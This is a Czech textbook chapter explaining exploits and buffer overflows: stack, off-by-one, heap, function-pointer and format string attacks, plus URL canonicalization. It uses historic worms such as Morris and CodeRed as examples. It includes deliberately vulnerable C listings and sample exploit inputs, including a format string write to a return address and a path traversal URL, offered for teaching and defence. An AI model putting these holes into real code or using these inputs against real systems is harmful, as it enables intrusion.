Počítačové viry - analýza útoku a obrana, část II.

KAPITOLA 10 Exploity, zranitelná místa, útoky založené na přetečení bufferu "Nejhorší je strach z neznámého."

– Titus Livius

324

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

10.1 Úvod Exploity, zranitelnosti1 a útoky založené na přetečení zásobníku2 byly odjakživa používány jak autory virů, tak i hackery. Ovšem – až doposud nebyly úplně samozřejmé. Takový červ CodeRed3, 4 byl pro většinu antivirových společností velkým šokem, protože byl první z řady červů, kteří se nešířili klasickým infikováním souborů, ale pouze skrze paměť, díky přetečení bufferu v Microsoft IIS. Mnohé antivirové společnosti nebyly schopny poskytnout proti tomuto červu adekvátní ochranu, zatímco firmy se širším záběrem v oblasti bezpečnosti nabídly řešení poměrně rychle – k úlevě běžného uživatele.

Je obvyklým jevem, že nové techniky bývají rychle zkopírovány a následně použity v jiných škodlivých produktech. Není proto překvapením, že červ CodeRed byl následován sérií úspěšných červů, jako Nimda5 a Badtrans6.

Tato kapitola se zabývá nejenom technikami jako přetečení bufferu nebo exploity ohledně vstupního ověření platnosti, ale i způsoby, jakými jsou tyto techniky implementovány v počítačových virech.

10.1.1 Definice smíšeného útoku Smíšené ohrožení často bývá nazýváno termínem smíšený útok. Používají se i termíny jako kombinovaný útok nebo smíšená technika. Aniž bychom se zde snažili o komplexní definici, poznamenejme pouze to, že v kontextu počítačových virů bývá tento termín typicky používán v případě, kdy virus zneužije nějaký typ bezpečnostní díry v systému nebo aplikaci k tomu, aby napadal další systémy. Smíšený útok zneužije jednu nebo více bezpečnostních děr jako hlavní směr útoku, přičemž může dále provést některé doplňkové síťové útoky – jako například DoS (útok odmítnutím služby) proti jiným systémům.

10.1.2 Hrozba Bezpečnostní exploity (používané především hackery), které jsou nějakým způsobem zkombinovány s počítačovými viry, mohou vyústit ve velmi komplexní útoky, které často jdou až za běžný rámec typických antivirových programů.

Ve většině případů je to dáno obrovskou propastí, která kdysi panovala mezi společnostmi zabývajícími se počítačovou bezpečností, jako například detekcí exploitů a vývojem firewallů a společnostmi vyvíjejícími antivirový software. Příkladem může být například skutečnost, že mnohé z důležitých bezpečnostních konferencí neobsahovaly žádné materiály a ani přednášky týkající se počítačových virů. Mnozí z odborníků zabývajících se počítačovou bezpečností, buď nepovažovali počítačové viry za důležitý aspekt bezpečnosti, nebo rovnou ignorovali spojitost mezi počítačovou bezpečností a počítačovými viry.

Po objevu červa CodeRed se dospělo k logickému závěru, že je potřeba sjednotit názory na to, které firmy zabývající se počítačovou bezpečností by měly řešit problematiku počítačových virů – tedy jejich detekci, zastavení šíření infekce a jejich odstranění. Někteří antiviroví výzkumníci dokonce zastávali názor, že v případě červa CodeRed se nedá nic dělat, jiní naopak zkoušeli velké množství bezpečnostních technik a detekčních rutin a podporovali své zákazníky, kteří jejich pomoc potřebovali.

Je až s podivem, jak byla některá přechodná řešení následně podrobena zdrcující kritice ze strany antivirových výzkumníků. Namísto pochopení faktu, že tyto nástroje jsou potřebné, se tito antiviroví kritici spoléhali na pouhé nainstalování příslušné záplaty.

Počítačové viry – analýza útoku a obrana

325

Tento krok je pochopitelně velmi důležitý pro zabezpečení systému. Ve větších podnicích, kde jsou často tisíce počítačů, však instalace podobné záplaty není vůbec jednoduchou záležitosti, zejména v případě, kdy neexistuje nějaký systém pro centralizovanou údržbu systémů. Velkým společnostem navíc nelze vyčítat oprávněný strach z toho, že tyto nové záplaty mohou být zdrojem dalších problémů, nebo že mohou ohrožovat stabilitu systémů. Případ červa CodeRed a téma smíšených útoků obecně představuje problém, se kterým se musí společně vypořádat jak společnosti vyvíjející antivirové produkty, tak i společnosti zabývající se počítačovou bezpečností. Na trhu se musí objevit nové produkty, které budou schopny se vypořádat i s vícenásobnými útoky.

10.2 Pozadí Smíšené útoky můžeme datovat od listopadu 1988, s nástupem červa Morris8. Červ Morris exploitoval bezpečnostní díry v několika typických aplikacích na systémech BSD: 

Červ se pokoušel využívat útok založený na přetečení bufferu proti systémům založeným na VAX, na kterých běžela zranitelná verze programu fingerd. (Více podrobností o tomto útoku později.) Toto vyústilo v automatické spuštění červa na vzdáleném VAX systému. Červ byl schopen použít tento útok jak proti systémům VAX, tak i proti systémům Sun, nicméně úspěšný byl pouze v případě systémů VAX. Kód červa totiž nebyl schopen zjistit verzi vzdáleného systému, takže stejný způsob útoku proti programu fingerd použil i v případě systému Sun. To vyústilo v pád programu fingerd na cílovém systému Sun.



Červ Morris dále používal příkaz DEBUG aplikace sendmail. Tento příkaz bylo možné použít pouze v raných verzích této aplikace. Příkaz DEBUG umožňoval spouštění příkazů na vzdáleném systému odesíláním zpráv skrze protokol SMTP. Tento příkaz byl ovšem zjevnou chybou ve funkčnosti, a tak byl pozdějších verzích odstraněn. Když útočník poslal programu sendmail příkaz DEBUG, mohl ihned spouštět příslušné příkazy.



Ćerv se také pokoušel využívat vzdálené příkazy prostředí shellu pro útoky na další stroje prostřednictvím rsh z různých adresářů. V praxi tak demonstroval možnost crackování hesel.

Pomocí crackování hesel se červ pokoušel dostat do dalších systémů. Tento útok byl možný, protože soubor obsahující heslo byl přístupný pro čtení každému. Hesla byla v souboru sice zakódována, nicméně útočník mohl stejným způsobem zakódovat pokusná hesla a následně je porovnat s těmi v souboru. Červ navíc používal malý slovník hesel, která autor považoval za běžná nebo slabá. Při pohledu na seznam hesel v autorově slovníku jsem nabyl dojmu, že tato funkce určitě nebyla tou nejsilnější částí útoků červa. Je však pravdou, že slovník býval použit až jako poslední možnost, když obvyklé způsoby útoků selhaly.

Červ Morris se neobešel bez chyb. Přestože červ nebyl úmyslně destruktivní, občas přetížil stroje natolik, že to bylo vidět (zejména po vícenásobných útocích) na jejich zpomalení.

O 13 let později, v červenci roku 2001 se červ CodeRed pokusil o velmi podobný útok proti zranitelným verzím IIS (Internet Information Server) od Microsoftu. Za použití velmi dobře zvládnutých technik přetečení bufferu červ spouštěl své kopie (v závislosti na své verzi) na systémech Windows 2000, kde běžela zranitelná verze Microsoft IIS. Následné zpomalení systému bylo velmi podobné zpomalení systému v případě červa Morris.

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

326

V této kapitole dále pak naleznete další informací o útocích založených na přetečení bufferu (bez zaměření se na samotný útočný kód).

10.3 Typy zranitelností 10.3.1 Přetečení bufferu Buffer je oblast paměti, která obvykle obsahuje předem definované množství dat. K přetečení bufferu dojde v případě, když se nějaký program pokusí do bufferu vložit data, která jsou větší než samotný buffer.

Když data přesáhnou velikost bufferu, mohou nadbytečná data "přetéci" do sousední paměťové lokace, čímž se poškodí platnost dat, což může vést ke změně prováděcí toku a instrukcí. Exploitace přetečením bufferu umožňuje do různých spouštěcích míst vkládat různý kód. Tento kód může na systémové úrovni umožnit vzdálený přístup a poskytnout tak neautorizovaný přístup nejenom hackerům, ale i replikujícímu se škodlivému softwaru.

Přetečení bufferu se obecně dělí do několika kategorií, přičemž každá z nich je založena na jednoduchosti a historickém pozadí objevu této techniky. Přestože neexistuje formální definice přetečení bufferu, díky dohodám byly kategorie rozděleny na tři nejběžnější generace: 

První generace přetečení bufferu využívá přepsání paměti zásobníku (stacku)9.



Druhá generace využívá přetečení za pomoci hald, ukazatelů funkcí a jednostranných exploitů.



Třetí generace přetečení zahrnuje útoky na formáty řetězců10 a zranitelnosti správy struktury haldy (heap). Tato třetí generace přetečení přepisuje data kdekoliv v paměti, aby tak nepřímo způsobila změnu v průběhu zpracovávání toku na směr, který vyhovuje útočníkovi11.

Pro zjednodušení budeme v následujících ukázkách předpokládat použití architektury CPU Intel. Koncept je ovšem možné použít na libovolné architektuře.

10.3.2 První generace útoků První generace útoků je založena na přepsání bufferu uloženého v zásobníku.

10.3.2.1 Přetečení bufferu zásobníku Výpis 10.1 deklaruje buffer dlouhý 256 bajtů. Program se i přesto pokusí naplnit buffer pomocí 512 bajtů písmena A (0x41).

Výpis 10.1 Falešná funkce. int i; void function(void) {

Počítačové viry – analýza útoku a obrana char buffer[256];

// vytvoří buffer

for(i=0;i<512;i++)

// 512x zvýší hodnotu

buffer[i]=‘A‘;

327

// vloží hodnotu A

}

Obrázek 10.1 ukazuje, jak je EIP (ukazatel instrukcí) modifikováno pomocí přetečení malého, 256 bajtů dlouhého bufferu.

Obrázek 10.1

Přetečení návratové adresy.

Jakmile data přesáhnou velikost bufferu, přepíší následující data uložená v zásobníku, včetně kritických hodnot, jakými je například ukazatel instrukcí (EIP), který definuje adresu další instrukce. Přepsáním EIP může útočník změnit pořadí běhu programů.

10.3.2.2 Exploitace přetečení bufferu zásobníku Místo toho, aby byl buffer vyplněn samými písmeny A, klasický způsob exploitace vyplňuje buffer vlastním škodlivým kódem. A místo přepsání EIP (určující, kde bude program pokračovat) náhodnými čísly, útočník raději přepíše EIP hodnotou adresy, kde je umístěn jeho škodlivý kód. Tímto způsobem se změní průběh programu, a program vykoná vložený škodlivý kód.

Následující obrázek 10.2 demonstruje klasické přetečení bufferu založené na zásobníku (přetečení první generace). Exploit, který byl použit červem CodeRed, sice byl první generace, nicméně byl mnohem komplexnější, jak bude uvedeno později.

328

Obrázek 10.2

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Klasický útok první generace.

10.3.2.3 Příčiny zranitelností založených na přetečení bufferu zásobníku Přetečení bufferu zásobníku připadá v úvahu u programů, které nekontrolují délku dat vkládaných do počítače. To je často způsobeno používáním běžných funkcí, které množství přenášených dat neomezují.

Například funkce strcpy programovacího jazyka C zkopíruje řetězec z jednoho zásobníku do druhého, aniž by nějak ověřovala, zdali je cílový buffer dostatečně velký, takže může dojít snadno k přetečení.

Mnoho podobných příkazů má své bezpečnější protějšky, jako například strncpy, který vyžaduje další parametr specifikující počet bajtů, které budou kopírovány. Na systémech BSD existují ještě bezpečnější příkazy jako například strlcpy.

Samozřejmě – v případě, kdy je počet bajtů větší než cílový buffer, může k přetečení pořád dojít. Programátoři navíc často udělají výpočetní chybu a použijí hodnotu, která je posunuta o jeden bajt. To může vyústit v přetečení druhé generace, nazvané jako posunutí o jednotku.

10.3.3 Útoky druhé generace 10.3.3.1 Přetečení o jednotku Aby se programátoři vyhnuli možnosti přetečení, snaží dosáhnout největší možné bezpečnosti. Funkce strncpy často vyústí v chybu, už jenom díky svému neintuitivnímu použití12. Často se setkáváme s chybami ve výpočtu velikosti bufferu, které obvykle znamenají přetečení o jeden bajt nebo celou jednotku.

Toto je způsobeno tím, že indexy začínají číslem 0, což není pro začínající programátory intuitivní.

Prozkoumejte výpis 10.2, kde programátor omylem použil výraz "je menší nebo stejný" místo správnějšího "je menší".

Počítačové viry – analýza útoku a obrana

329

Výpis 10.2 Chybný program. #include <stdio.h> int i; void vuln(char *foobar) { char buffer[512]; for(i=0;i<=512;i++) buffer[i]=foobar[i] } void main(int argc, char *argv[]) { if (argc==2) vuln(argv[1]); }

V tomto případě bude zásobník vypadat takto (viz tabulka 10.1).

Tabulka 10.1 – Výsledný stav zásobníku po již zmíněné chybě v programu.

Adresa

Hodnota

0x0012FD74

buffer[512]

...

...

...

...

0x0012FF74

Stará hodnota EBP=0x0012FF80 Návratová hodnota EIP=0x00401048

Přestože pomocí této chyby nejsme schopni přepsat EIP, je možné přepsat méně důležitý ukončovací EBP. Například – pokud je přetečený bajt nastaven na 0x00, starý EBP je nastaven na 0x0012FF00, jak je možné vidět na obrázku 10.3. V závislosti na kódu je pak možné použít falešné EPB použít několika způsoby. Často následuje instrukce mov, díky které se ukazatel na zásobník přepíše lokací bufferu. Proto je možné buffer vytvořit tak, že obsahuje lokální proměnné, EBP a co je nejdůležitější, i EIP, které přesměruje tok programu ke škodlivému kódu.

330

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Obrázek 10.3

Přetečení o jednotku.

Lokální proměnné jsou použity k ošálení rámce zásobníku, takže program pokračuje na zfalšované návratové EIP, která byla nastavena na injektovaný kód nacházející se v zásobníku. Tímto způsobem může přetečení o jeden bajt umožnit spuštění libovolného kódu.

10.3.3.2 Přetečení haldy Běžným omylem programátorů je předpoklad, že dynamickou alokací paměti zabrání použití přetečení zásobníku (díky haldám, heap), čímž snižují pravděpodobnost exploitace. I když je pravda, že dynamickou alokací paměti se možnost přetečení výrazně znesnadní, není tato možnost zcela vyloučena.

10.3.3.3 Halda Halda (heap) je paměť, jejíž velikost byla dynamicky alokována. Tato paměť je logicky oddělena od paměti vyhrazené pro kód a zásobník. Haldy se tvoří dynamicky (například pomocí "new, malloc") a také se dynamicky odstraňují (například pomocí "delete, free").

Haldy jsou všeobecně používány kvůli tomu, že množství paměti vyžadované programem není známo předem nebo pokud je program větší než zásobník.

Paměť obsahující haldy obvykle neobsahuje návratové adresy (narozdíl od zásobníku). Proto je možnost přepsání uložené návratové adresy značně ztížena. I přesto se však nedá říct, že by haldy byly zcela bezpečnou ochranou proti přetečení bufferu a exploitacím obecně.

10.3.3.4 Zranitelný kód Výpis 10.3 zobrazuje program s přetečením haldy. Program dynamicky alokuje paměť pro dva buffery.

Jeden buffer obsahuje pouze písmena A. Druhý buffer přijímá data z příkazového řádku. Pokud je z příkazového řádku přijato příliš velké množství dat, dojde k přetečení.

Výpis 10.3 Příklad přetečení haldy. #include <stdio.h> #include <stdlib.h> #include <string.h>

Počítačové viry – analýza útoku a obrana

331

void main(int argc, char **argv) { char *buffer = (char *) malloc(16); char *input = (char *) malloc(16); strcpy(buffer,"AAAAAAAAAAAAAAA"); // Použití neohraničené funkce strcpy(input,argv[1]); printf("%s",buffer); }

Při běžném množství dat na vstupu bude paměť vypadat jako v tabulce 10.2.

Tabulka 10.2 – Rozložení paměti při obvyklém vstupu.

Adresa

Proměnná

Hodnota

00300350

Vstup

BBBBBBBBBBBBBBBB

00300360

?????

?????????????????

00300370

Zásobník

AAAAAAAAAAAAAAAA

Při vložení velkého množství dat je ovšem možné, že dojde k přepsání i sousední haldy, jak je to vidět v následující tabulce 10.3.

Tabulka 10.3 – Rozložení paměti při neobvyklém vstupu.

Adresa

Proměnná

Hodnota

00300350

Vstup

BBBBBBBBBBBBBBBB

00300360

?????

BBBBBBBBBBBBBBBB

00300370

Zásobník

BBBBBBBBAAAAAAAA

10.3.3.5 Exploitace přetečení V případě přetečení zásobníku (stack overflow) je možné změnit EIP. To útočníkovi umožní nasměrovat EIP na místo, kde je umístěn exploitační kód (obvykle v zásobníku).

Přetečení haldy obvykle neovlivní EIP. Přesto je ale možné přetečením haldy přepisovat data nebo modifikovat ukazatele na data a funkce. Například na zabezpečeném systému není povolena možnost zápisu do souboru C:\AUTOEXEC.BAT. Ale pokud je program se systémovými právy napaden s využitím přetečení haldy, je možné, že místo zápisu do dočasného souboru bude ukazatel přesměrován na řetězec C:\AUTOEXEC.BAT, čímž bude program se systémovými právy schopen zápisu do tohoto souboru.

Důsledkem je narušení posloupnosti uživatelských práv.

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

332

Přetečení bufferu haldy (podobně jako přetečení zásobníku) může navíc často vyústit v odmítnutí služby (denial of service), díky kterému může útočník narušit běh aplikace. Prohlédněte si nyní zranitelný program uvedený ve výpisu 10.4, který zapisuje znaky do souboru C:\HARMLESS.TXT.

Výpis 10.4 Zranitelný program. #include <stdio.h> #include <stdlib.h> #include <string.h> void main(int argc, char **argv) { int i=0,ch; FILE *f; static char buffer[16], *szFilename; szFilename = "C:\ \ harmless.txt"; ch = getchar(); while (ch != EOF) { buffer[i] = ch; ch = getchar(); i++; } f = fopen(szFilename, "w+b"); fputs(buffer, f); fclose(f); }

Tabulka 10.4 pak ukazuje, jak bude vypadat paměť.

Tabulka 10.4 – Rozložení paměti v případě programu uvedeného ve výpisu 10.4.

Adresa

Proměnná

Hodnota

0x00300ECB

argv[1]

...

...

...

0x00407034

*szFilename

C:\harmless.txt

...

...

...

0x00407680

Zásobník

0x00407690

szFilename

0x00407034

Počítačové viry – analýza útoku a obrana

333

Všimněte si, že buffer je umístěn blízko szFilename. Obě proměnné jsou umístěny ve statické haldě (globální datová sekce), která obvykle bývá připojena k sekci ".data" souboru PE v systému Windows.

Pokud je útočník schopen dosáhnout přetečení bufferu, je také schopen přepsat ukazatel szFilename a změnit jeho původní adresu 0xx00407034 na jinou. Pokud ji změní například na adresu 0x00300ECB, což je argv[1], získá možnost změnit jméno souboru na libovolné jiné.

Příklad – pokud je v bufferu hodnota XXXXXXXXXXXXXXXX00300ECB a argv[1] je C:\AUTOEXEC.BAT, pak bude paměť vypadat jako na tabulce 10.5.

Tabulka 10.5 – Rozložení paměti během útoku.

Adresa

Proměnná

Hodnota

0x00300ECB

argv[1]

C:\AUTOEXEC.BAT

...

...

...

0x00407034

*szFilename

C:\harmless.txt

...

...

...

0x00407680

Zásobník

XXXXXXXXXXXXXXX

0x00407690

szFilename

0x00300ECB

Povšimněte si, že szFilename byl změněn a nyní ukazuje na argv[1], který má hodnotu C:\AUTOEXEC. BAT. I přes skutečnost, že přetečení haldy je hůře exploitovatelné než klasické přetečení zásobníku, zvýšená složitost určité nezastaví inteligentní a svému cíli oddané útočníky od jejich používání. Exploitační kód červa Linux/Slapper (popisovaný v této kapitole) to jasně dokazuje.

10.3.3.6 Ukazatele funkcí Dalším případem přetečení druhé generace jsou útoky využívající ukazatele funkcí. Tyto se objevují především v případě zpětného volání. Ukazatel funkce je v paměti hned za bufferem, takže v případě, že buffer není kontrolován, existuje reálná možnost jeho přepsání. Ve výpisu 10.5 můžete vidět jednoduchou ukázku podobného kódu.

Výpis 10.5 Ukázka aplikace používající ukazatele funkcí. #include <stdio.h> #include <stdlib.h> #include <string.h> int CallBack(const char *szTemp) { printf("CallBack(%s)\ n", szTemp); return 0;

334

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

} void main(int argc, char **argv) { static char buffer[16]; static int (*funcptr)(const char *szTemp); funcptr = (int (*)(const char *szTemp))CallBack; strcpy(buffer, argv[1]); // nekontrolovaný zásobník (int)(*funcptr)(argv[2]); }

Tabulka 10.6 pak ukazuje, jak vypadá paměť po spuštění tohoto kódu.

Tabulka 10.6 – Normální rozložení paměti u aplikace z výpisu 10.5.

Adresa

Proměnná

Hodnota

00401005

CallBack()

004013B0

system()

...

...

...

...

004255D8

zásobník

????????

004255DC

funcptr

00401005

V případě tohoto exploitu použijeme řetězec ABCDEFGHIJKLMNOP004013B0 jako argv[1], přičemž program místo CallBack() zavolá system(). V našem případě se díky použití NULL (0x00) exploit neprojeví. Zrušení NULL je ponecháno na čtenáři (pro eventuální vyzkoušení konkrétního exploitačního kódu). (Viz následující tabulka 10.7).

Tabulka 10.7 – Rozložení paměti při útoku.

Adresa

Proměnná

Hodnota

00401005

CallBack()

004013B0

system()

...

...

...

...

004255D8

zásobník

ABCDEFGHIJKLMNOP

004255EE

funcptr

004013B0

Tento příklad ukázal další způsob přetečení, které není založeno na zásobníku, a které útočníkovi umožňuje spustit libovolný příkaz pro zahlcení msystem() libovolnými argumenty.

Počítačové viry – analýza útoku a obrana

335

10.3.4 Útoky třetí generace 10.3.4.1 Útoky pomocí formátování řetězců Zranitelnosti v oblasti formátování řetězců existují díky nedbalosti tvůrců softwaru. Mnoho různých funkcí programovacího jazyka C umožňuje výstup do souborů, zásobníků nebo na obrazovku. Tyto funkce umožňují nejenom zobrazovat hodnoty na obrazovce, umí je rovněž i naformátovat. Následující tabulka 10.8 obsahuje seznam běžných formátovacích funkcí standardu ANSI:

Tabulka 10.8 – Formátovací funkce dle standardu ANSI. printf

Tiskne formátovaný výstup do standardního výstupního toku

wprintf

Verze printf se širokými znaky

fprintf

Tiskne formátovaná data do toku (obvykle do souboru)

fwprintf

Verze fprintf se širokými znaky

sprintf

Zapisuje formátovaná data do řetězce (string)

swprintf

Verze sprintf se širokými znaky

vprintf

Zapisuje formátovaný výstup do seznamu argumentů

vwprintf

Verze vprintf se širokými znaky

vfprintf

Zapisuje formátovaný výstup do toku, za použití ukazatele na seznam argumentů

vwfprintf

Verze vfprintf se širokými znaky

Formátovací schopnost těchto příkazů umožňuje, aby měl programátor kontrolu nad tím, jak bude zapsaný výstup vypadat. Program je například schopen vypsat hodnotu jak v desítkové, tak i v šestnáctkové soustavě.

Výpis 10.6 Aplikace používající formátování řetězců. #include <stdio.h> void main(void) { int foo =1234; printf("Foo je rovno: %d (desítkově), %X (šestnáctkově)", foo, foo); }

Program uvedený ve výpisu 10.6 by měl zobrazit toto: Foo je rovno: 1234 (desítkově), 4D2 (šestnáctkově)

Znak procenta (%) je návratový (escape) znak, který signalizuje, že další znak(y) reprezentuje(jí) formát, ve kterém by měla být hodnota zobrazena. Procento d (%d) například znamená toto: "zobraz hodnotu

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

336

v desítkové soustavě". Znak %X znamená: "zobraz hodnotu v šestnáctkové soustavě velkými písmeny".

Tyto znaky jsou dále nazývány jako specifikátory formátu (format specifiers).

Specifikace formátovacích funkcí vyžaduje specifikátor formátu a nepovinný údaj o tom, kolik argumentů celkem se má formátovat (viz obrázek 10.4).

Obrázek 10.4

Specifikace formátu funkce.

Nedbalí programátoři tyto specifikace často nedodržují. Následující program z výpisu 10.7 sice na obrazovce zobrazí text "Ahoj světe!", specifikace však nedodržuje. Okomentovaný řádek ve výpisu obsahuje správný způsob tvorby programu.

Výpis 10.7 Program používající nesprávný zápis formátovacích parametrů. #include <stdio.h> void main(void) { char buffer[13]="Ahoj světe!"; printf(buffer);

//

použití argumentu jako

//

specifikátoru formátu!

// printf("%s",buffer); takto je to správně }

Takové nepřesné naprogramování je pak eventuálním místem, kde útočník získává možnost ovládnout zásobník a poté vložit libovolný kód. Program ve výpisu 10.8 si přijímá jeden parametr příkazové řádky a zobrazuje jej zpět na obrazovce. Všimněte si nesprávného použití příkazu printf, kde je argument použit místo specifikátoru formátu.

Výpis 10.8 Program, který je vhodným terčem útoku pro injektáž kódu. int vuln(char buffer[256]) { int nReturn=0 printf(buffer);

//tisk parametru příkazové řádky

// printf("%s",buffer); // takto je to správně return(nReturn); }

Počítačové viry – analýza útoku a obrana

337

void main(int argc,char *argv[]) { char buffer[256]=""; // alokace zásobníku if (argc == 2) { strncpy(buffer,argv[1],255);

// kopírování příkazového řádku

} vuln(buffer); // předá bufferu chybné funkci }

Tento program zkopíruje první parametr příkazové řádky do bufferu a poté jej předá zranitelné funkci.

Protože je namísto formátovacího řetězce použit buffer, je možné tento program napadnout. Například při spuštění programu s parametrem %X dostaneme namísto %X nějakou hodnotu na zásobníku: C:\ >myprog.exe %X 401064

Program nesprávně vyhodnotí vstup jako specifikátor formátu a namísto předaného parametru nastaví hodnotu zásobníku. Abyste pochopili, proč tomu tak je, zaměřte se na hodnotu zásobníku po zavolání příkazu printf. Při správném použití specifikátorů formátování a při správném počtu parametrů vypadá zásobník podobně jako ten, který je na obrázku 10.5.

Obrázek 10.5

Stav zásobníku při použití správného počtu argumentů.

Ovšem při nekorektním použití příkazu printf() bude zásobník vypadat jinak (viz obrázek 10.6).

Obrázek 10.6

Nekorektní použití příkazu print().

V tomto případě si program myslí, že prostor v zásobníku uvedený za specifikátorem formátování je první parametr. Po zadání %X zobrazí příkaz printf návratovou adresu předchozí funkce namísto oče-

338

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

kávaného chybějícího parametru. Dojde k libovolnému výpisu paměti, avšak z pohledu hackera či autora viru může být schopnost zapisovat do paměti klíčová (pro účely injektáže libovolného kódu).

Skupina formátovacích příkazů umožňuje použití specifikátoru formátování %n, který uloží (zapíše do paměti) celkový počet zapsaných bajtů. Následující řádek uloží do proměnné nBytesWritten hodnotu 6, protože použité slovo "foobar" se skládá ze šesti znaků: printf("foobar%n",&nBytesWritten);

Zvažte ale, co se stane nyní: C:\ >myprog.exe foobar%n

Po spuštění se program pokusí na tuto lokaci zapisovat, místo aby správně zobrazit hodnotu na zásobníku. Takže – namísto zobrazení 401064, jak bylo ukázáno v minulém případě, se program pokusí uložit číslo 6 (počet znaků ve slově foobar) na adresu 401064. Výsledkem je chybové hlášení, které můžete vidět na obrázku 10.7.

Obrázek 10.7

Myprog.exe zhavaroval a potvrdil tak možnost exploitace.

Tímto jsme dokázali, že zápis do paměti je možný. S touto schopností je například možné přepsat návratový ukazatel (podobně jako při přetečení zásobníku) a přesměrovat se na vložený kód. Pokud prozkoumám zásobník pozorně, uvidíme to, co je uvedeno na obrázku 10.8.

Obrázek 10.8

Stav zásobníku myprog.exe před exploitací.

Se znalostí obsahu zásobníku zvažte použití následujícího exploitačního řetězce: C:>myprog.exe AAAA%x%x%n

Výsledkem je exploitovaný stav zásobníku zobrazený na obrázku 10.9.

Počítačové viry – analýza útoku a obrana

Obrázek 10.9

339

Ukázka exploitace zásobníku lstivým použitím formátovacích řetězců.

První specifikátor formátu, %x, je mylně považován za návratovou adresu (0x401064); další specifikátor formátu, %x, je 0x12FE84. A na závěr se %n pokusí zapsat na adresu specifikovanou následujícím DWORD v zásobníku, kterým je zde 0x41414141 (AAAA). Takto má útočník možnost zápisu na libovolnou adresu v paměti.

Místo zápisu na adresu 0x41414141 by se útočník mohl (prostřednictvím exploitu) pokusit o zápis do paměti obsahující návratovou adresu (podobně jako u přetečení zásobníku). V tomto případě je návratová adresa uložena na adrese 0x12FE7C. Přepsáním hodnoty na této adrese je možné přesměrovat prováděcí tok. Takže – namísto řetězce složeného z písmen A v exploitačním řetězci použijeme hodnotu 0x12FE7C, jak je to vidět na obrázku 10.10.

Obrázek 10.10 Exploitace návratové adresy.

Návratová adresa bude přepsána adresou ukazující na exploitační kód. Tím je v tomto případě 0x12FE84, což je adresa vstupního bufferu. Naštěstí mohou specifikátory formátu obsahovat libovolný počet bajtů, aby bylo možno použít syntaxi %.<bytestowrite>x. Nyní zvažte tento exploitační řetězec: <exploitcode>%x%x%x%x%x%x%x%x%x%.622404x%.622400x%n\ x7C\ xFEx12

Příkaz printf je takto donucen zapsat hodnotu 0x12FE84 (622404+622400=0x12FE84) na 0x12FE7C v případě, že exploitační kód je dlouhý dva bajty. To přepíše návratovou adresu a donutí tak prováděcí tok, aby pokračoval na 0x12FE84, kam může útočník umístit kód exploitu (viz obrázek 10.11).

Obrázek 10.11 Exploitace návratové adresy.

340

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Pro úplnost musím zmínit, že většina rutin pro knihovny nedovoluje použití větších hodnot specifikátorů formátu. Jiné rutiny zase při použití velkých hodnot za specifikátorem "%" havarují12. Proto je obvyklé, že útočník rozdělí celé DWORD (32bitová hodnota) do čtyř překrývajících se zápisů, podobně jako v následující sekvenci: 000000CC 000001BB 000002AA 000003CC CCAABBCC

(první zápis) (druhý zápis) (třetí zápis) (čtvrtý zápis) (kompletní DWORD)

Pokud se programátoři přesně nedrží těchto specifikací, mohou nevědomky umožnit útok přepisující hodnoty paměti a dovolit tak spuštění libovolného kódu. Podobně jako v případě nekorektního používání formátovacích funkcí, je i zde velmi snadné najít zranitelné programy. Většina známých aplikací byla odborníky na bezpečnost testována s použitím těchto způsobů útoku. Je však nutné dodat, že nové aplikace jsou vytvářeny každým dnem, přičemž vývojáři stále dělají chyby při použití formátovacích řetězců. Vytváří tak zranitelné aplikace.

10.3.4.2 Správa heapu Implementace správy heapu jsou různé. Například malloc() v GNU C se liší od stejné rutiny v System V. Obecně však platí, že tyto implementace ukládají informace o správě v samotné oblasti heapu. Tyto informace například zahrnují velikost paměťových bloků. Obvykle se ukládají před nebo za samotnými daty.

Přetečením dat na heapu je tedy možné modifikovat informace v informační struktuře jeho správy (nebo v řídícím bloku). V závislosti na akcích správy paměti (například malloc a free) a specifičnosti implementace je možné dosáhnout toho, aby správce paměti, při využití přepsaného řídícího bloku, zapsal libovolná data do libovolné oblasti paměti.

10.3.4.3 Validace vstupu Exploity pro validaci vstupu zneužívají programy, které nepříliš důsledně kontrolují data zadaná uživatelem. Například formulář na webové stránce, do kterého se zadává e-mailová adresa a další osobní údaje, by měl ověřit, zdali je e-mailová adresa ve správném tvaru, a zdali neobsahuje různé vyhrazené nebo únikové (escape) znaky.

Mnoho aplikací, jako např. webové servery nebo e-mailoví klienti, nekontrolují vstupy důsledně. To útočníkům umožňuje vložit speciálně upravené informace, které vedou k neočekávanému chování aplikace. Přestože existuje mnoho zranitelností ohledně validace vstupu, v této knize je hlavně zmíněna kanonizace URL a parsování hlaviček MIME, kvůli jejich častému použití v nedávných útocích.

10.3.4.4 Kódování URL a kanonizace Kanonizace (canonicalization) je proces konverze něčeho, co může existovat v několika různých podobách, které jsou však navzájem stejně platné, do jediné obecné a standardní formy. Například "C:\test\

Počítačové viry – analýza útoku a obrana

341

foo.txt" a "C:\test\bar\..\foo.txt" jsou dvě různé cesty, které reprezentují stejný soubor. Kanonizace URL se odehrává podobným způsobem, kdy "http://doména.tld/uživatel/foo.gif " a "http://doména.tld/uživatel/bar/../foo.gif " reprezentují stejný soubor s obrázkem.

Zranitelnost URL pomocí kanonizace vzniká tehdy, když nejsou brány v potaz všechny možné způsoby reprezentace URL. Webový server může například umožňovat přístup pouze do adresáře "/user" a jeho podadresářů tak, že prozkoumá řetězec "/user", který je bezprostředně za jménem domény. Ovšem URL typu http://domain.tld/user/../../autoexec.bat projde bezpečnostní kontrolou, a poskytne přístup do kořenového adresáře.

Poté, co se vytvořilo všeobecné povědomé o problémech kanonizace URL (zejména díky záležitostem okolo Microsoft Internet Information Serveru), mnoho aplikací se rozšířilo kontrolu na řetězec ".." (dvě tečky) v URL. Útoky prostřednictvím kanonizace jsou však kvůli kódování stále možné.

